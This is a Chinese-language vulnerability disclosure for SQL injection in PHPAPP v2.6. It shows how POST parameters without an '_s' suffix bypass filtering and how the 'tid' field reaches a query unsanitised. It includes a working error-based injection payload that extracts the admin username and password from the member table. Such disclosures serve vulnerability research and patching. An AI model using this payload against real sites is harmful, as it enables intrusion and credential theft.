### 简要描述:
PHPAPP注入第真十二枚(无视过滤)
### 详细说明:
在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。
PSOT注入点:wwww.xxx.com/index.php?action=8&app=80, 存在漏洞的文件在/phpapp/apps/taskcount/main_phpapp.php
下面分析一下漏洞产生的原因
第一处绕过:
先看看是如何得到$_POST中的内容的,$this->POST=$this->POSTArray();如果key的最后一个字母是’_s’时,用户的输入会经过str方法的防注处理。而如果key(参数)的最后一个字母不是’_s’,则可以功能绕过过滤!
第二处绕过:
```
function AddMessageAction(){
$uid=$this->uid;
if($uid>0){
$allow=$this->CheckAllow('task_count_usergroup',array(
'messagetask'=>''
)
);
$this->AddMessage($uid,$allow);
}else{
echo '请选择登录后操作!<br />';
echo $this->CloseNowWindows('#loading');
}
}
```
调用了AddMessage方法,去看看
```
function AddMessage($uid,$allow){
if($this->POST['Submit']){
if($allow=='ok'){
$this->tid=$this->POST['tid'];
$strings=new CharFilter($this->POST['content']);
if(empty($this->POST['content'])){
echo '请输入留言内容!';
echo $this->CloseNowWindows('#loading');
}elseif($strings->CheckLength(2)){
echo '对不起!,任务留言不能少2个字!';
echo $this->CloseNowWindows('#loading');
}else{
//过虑
$content=$this->str($this->POST['content'],200,0,1,1,0,1);
if($this->tid!=0){
$newid=$this->Insert('task_message',array('appid'=>$this->app,'uid'=>$uid,'tid'=>$this->tid,'content'=>$content,'dateline'=>$this->NowTime()),array());
$task=$this->GetMysqlOne('uid,subject,url'," ".$this->GetTable('task')." WHERE tid='$this->tid'");
无关代码
```
$this->tid直接由$this->POST['tid']赋值,没有再经过过滤,造成注入。
Phpapp可以显错,那就用error-based blind进行注入。
Pyload:(POST提交)
```
Submit=567&content=testsql&tid=1' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select
concat(0x23,username,0x23,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or'
```
注入成功,管理员用户名及密码如下图中所示:
[<img src="https://images.seebug.org/upload/201412/2723482824af9f6c6182a4a375130047f754d436.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/2723482824af9f6c6182a4a375130047f754d436.jpg)
### 漏洞证明:
见 详细说明
暂无评论